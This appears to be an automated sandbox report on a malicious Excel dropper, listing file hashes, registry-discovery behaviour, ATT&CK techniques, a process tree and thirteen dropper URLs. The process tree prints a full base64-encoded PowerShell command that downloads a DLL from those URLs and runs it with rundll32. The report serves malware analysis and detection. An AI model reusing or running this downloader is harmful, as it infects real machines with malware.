75c2d4c330eac5c23f9848f7fe7efb5606feeaed9ac856d4ab4062d61523f803

General

Target

75c2d4c330eac5c23f9848f7fe7efb5606feeaed9ac856d4ab4062d61523f803.xls
Size

122KB
MD5

316cbded4130613ed2b096a562108966
SHA1

46828254f96c15dc18c02322e950187791df27ea
SHA256

75c2d4c330eac5c23f9848f7fe7efb5606feeaed9ac856d4ab4062d61523f803
SHA512

8d32bcc6ec3cea0860839a042d9471ff923bf5b06f1ad68011bce0dd18075023a21e52f8c3ce112130983060909e6b88b210a5a6a50f08737af3f5f70a68a151
SSDEEP

3072:9Oehv7q2Pjx45uoDGTj+5xtekEvi8/dgZBFoTLTmxW5WxVe+41WsdiXUchlL:Qehv7q2Pjx45uoDGTj+5xtFEvi8/dgZ3

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://midnightsilvercrafters.com/store/wBjNOUw/

exe.dropper

http://tempral.com/NATE_05_22_2009/BI710N4cQ6R3/

exe.dropper

https://redington.karmatechmediaworks.com/wp-content/3JVuVx7QUM/

exe.dropper

https://uhc.karmatechmediaworks.com/wp-content/0EqfdeznntlOpaIP2Qv/

exe.dropper

https://servilogic.net/b/14hqrdyP0Z3WsbQib8/

exe.dropper

https://comezmuhendislik.com/ljfrmm/VTpHRFWoORAHnRQ3aQL/

exe.dropper

http://webmail.glemedical.com/wp-content/J1M2xxodH/

exe.dropper

http://toto.karmatechmediaworks.com/wp-content/i826vbcVgRJ/

exe.dropper

https://golfpia.karmatechmediaworks.com/wp-content/oEicpDnEkk/

exe.dropper

https://fortiuspharma.com/y6krss/EGm347cqj5/

exe.dropper

https://garyjharris.com/cgi-bin/0hH/

exe.dropper

https://vietnam.karmatechmediaworks.com/wp-content/PfSVQagusZy7AaMw/

exe.dropper

https://vinculinc.karmatechmediaworks.com/wp-content/VlcOPPwgidWlXDJNs6/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2352	2064	wscript.exe	82

Blocklisted process makes network request 5 IoCs

flow	pid	Process
24	1356	powershell.exe
27	1356	powershell.exe
31	1356	powershell.exe
38	1356	powershell.exe
47	1356	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2064	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1356	powershell.exe
1356	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1356	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2064 wrote to memory of 2352	2064	EXCEL.EXE	86
PID 2064 wrote to memory of 2352	2064	EXCEL.EXE	86
PID 2352 wrote to memory of 3360	2352	wscript.exe	88
PID 2352 wrote to memory of 3360	2352	wscript.exe	88
PID 3360 wrote to memory of 1356	3360	cmd.exe	90
PID 3360 wrote to memory of 1356	3360	cmd.exe	90
PID 2352 wrote to memory of 404	2352	wscript.exe	102
PID 2352 wrote to memory of 404	2352	wscript.exe	102
PID 404 wrote to memory of 4556	404	cmd.exe	104
PID 404 wrote to memory of 4556	404	cmd.exe	104
PID 404 wrote to memory of 4556	404	cmd.exe	104

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\75c2d4c330eac5c23f9848f7fe7efb5606feeaed9ac856d4ab4062d61523f803.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\oue4hjld.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\bhnasleil.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAG0AaQBkAG4AaQBnAGgAdABzAGkAbAB2AGUAcgBjAHIAYQBmAHQAZQByAHMALgBjAG8AbQAvAHMAdABvAHIAZQAvAHcAQgBqAE4ATwBVAHcALwAsAGgAdAB0AHAAOgAvAC8AdABlAG0AcAByAGEAbAAuAGMAbwBtAC8ATgBBAFQARQBfADAANQBfADIAMgBfADIAMAAwADkALwBCAEkANwAxADAATgA0AGMAUQA2AFIAMwAvACwAaAB0AHQAcABzADoALwAvAHIAZQBkAGkAbgBnAHQAbwBuAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMASgBWAHUAVgB4ADcAUQBVAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwB1AGgAYwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAwAEUAcQBmAGQAZQB6AG4AbgB0AGwATwBwAGEASQBQADIAUQB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwBlAHIAdgBpAGwAbwBnAGkAYwAuAG4AZQB0AC8AYgAvADEANABoAHEAcgBkAHkAUAAwAFoAMwBXAHMAYgBRAGkAYgA4AC8ALABoAHQAdABwAHMAOgAvAC8AYwBvAG0AZQB6AG0AdQBoAGUAbgBkAGkAcwBsAGkAawAuAGMAbwBtAC8AbABqAGYAcgBtAG0ALwBWAFQAcABIAFIARgBXAG8ATwBSAEEASABuAFIAUQAzAGEAUQBMAC8ALABoAHQAdABwADoALwAvAHcAZQBiAG0AYQBpAGwALgBnAGwAZQBtAGUAZABpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASgAxAE0AMgB4AHgAbwBkAEgALwAsAGgAdAB0AHAAOgAvAC8AdABvAHQAbwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADgAMgA2AHYAYgBjAFYAZwBSAEoALwAsAGgAdAB0AHAAcwA6AC8ALwBnAG8AbABmAHAAaQBhAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG8ARQBpAGMAcABEAG4ARQBrAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBmAG8AcgB0AGkAdQBzAHAAaABhAHIAbQBhAC4AYwBvAG0ALwB5ADYAawByAHMAcwAvAEUARwBtADMANAA3AGMAcQBqADUALwAsAGgAdAB0AHAAcwA6AC8ALwBnAGEAcgB5AGoAaABhAHIAcgBpAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAwAGgASAAvACwAaAB0AHQAcABzADoALwAvAHYAaQBlAHQAbgBhAG0ALgBrAGEAcgBtAGEAdABlAGMAaABtAGUAZABpAGEAdwBvAHIAawBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUABmAFMAVgBRAGEAZwB1AHMAWgB5ADcAQQBhAE0AdwAvACwAaAB0AHQAcABzADoALwAvAHYAaQBuAGMAdQBsAGkAbgBjAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFYAbABjAE8AUABQAHcAZwBpAGQAVwBsAFgARABKAE4AcwA2AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AKAAiAGMAaQB1AHcAZAA6AGkAdQB3AGQAXABwAHIAaQB1AHcAZABvAGcAaQB1AHcAZAByAGEAbQBpAHUAdwBkAGQAYQB0AGkAdQB3AGQAYQBcAHYAeABjAGoAawBmAGgAZAAuAGQAaQB1AHcAZABsAGkAdQB3AGQAbAAiACkALgByAGUAUABsAEEAQwBlACgAIgBpAHUAdwBkACIALAAiACIAKQA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1356
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:404
  - - \??\c:\windows\syswow64\rundll32.exe
      c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
      4⤵
      System Location Discovery: System Language Discovery
      PID:4556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0fll4wyk.r14.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\programdata\bhnasleil.bat

Filesize
3KB

MD5
0f96848827a2960f874bcf613ce1e72c

SHA1
d936a765910adaf627fc6459716847fd87595ea2

SHA256
9e9915a1e009b7a9283629e5a1a66604915030b445c1f266914955299563473e

SHA512
00f04d42d544c0564ca4d435fbc0803ebcd8eabaa45abc852b449beffb4f3701681b8c908f580640e71686255c83aa698f10ea75a51dd0bf76c177132e86b862

Download Submit
\??\c:\programdata\oue4hjld.vbs

Filesize
604B

MD5
a0e5c8b0ad3da42bf6952871a41bf5e8

SHA1
cd2106ebaf43d596057457e87cf4c8482e246005

SHA256
5c3d66e2d33dfb51c691010af5d0a87250aa475235b537a336c607ade93a881a

SHA512
c685cc80c128087b6711ab65c7a0f2c63f55dfbab8577aea20d668112f77a0e69e7e350ff314201e93b8ef79f72764c79fc20e903c1a1f973e37ae3a873ff725

Download Submit
memory/1356-175-0x0000023A9C820000-0x0000023A9CFC6000-memory.dmp

Filesize
7.6MB

Download
memory/1356-164-0x0000023A83AD0000-0x0000023A83AF2000-memory.dmp

Filesize
136KB

Download
memory/2064-64-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-158-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-6-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-9-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-12-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-11-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-13-0x00007FFAECA20000-0x00007FFAECA30000-memory.dmp

Filesize
64KB

Download
memory/2064-8-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-14-0x00007FFAECA20000-0x00007FFAECA30000-memory.dmp

Filesize
64KB

Download
memory/2064-7-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-20-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-0-0x00007FFAEF090000-0x00007FFAEF0A0000-memory.dmp

Filesize
64KB

Download
memory/2064-152-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-10-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-101-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-5-0x00007FFAEF090000-0x00007FFAEF0A0000-memory.dmp

Filesize
64KB

Download
memory/2064-4-0x00007FFAEF090000-0x00007FFAEF0A0000-memory.dmp

Filesize
64KB

Download
memory/2064-1-0x00007FFB2F0AD000-0x00007FFB2F0AE000-memory.dmp

Filesize
4KB

Download
memory/2064-2-0x00007FFAEF090000-0x00007FFAEF0A0000-memory.dmp

Filesize
64KB

Download
memory/2064-174-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-3-0x00007FFAEF090000-0x00007FFAEF0A0000-memory.dmp

Filesize
64KB

Download
memory/2064-177-0x00007FFB2F0AD000-0x00007FFB2F0AE000-memory.dmp

Filesize
4KB

Download
memory/2064-178-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-179-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-180-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-181-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-185-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download
memory/2064-186-0x00007FFB2F010000-0x00007FFB2F205000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads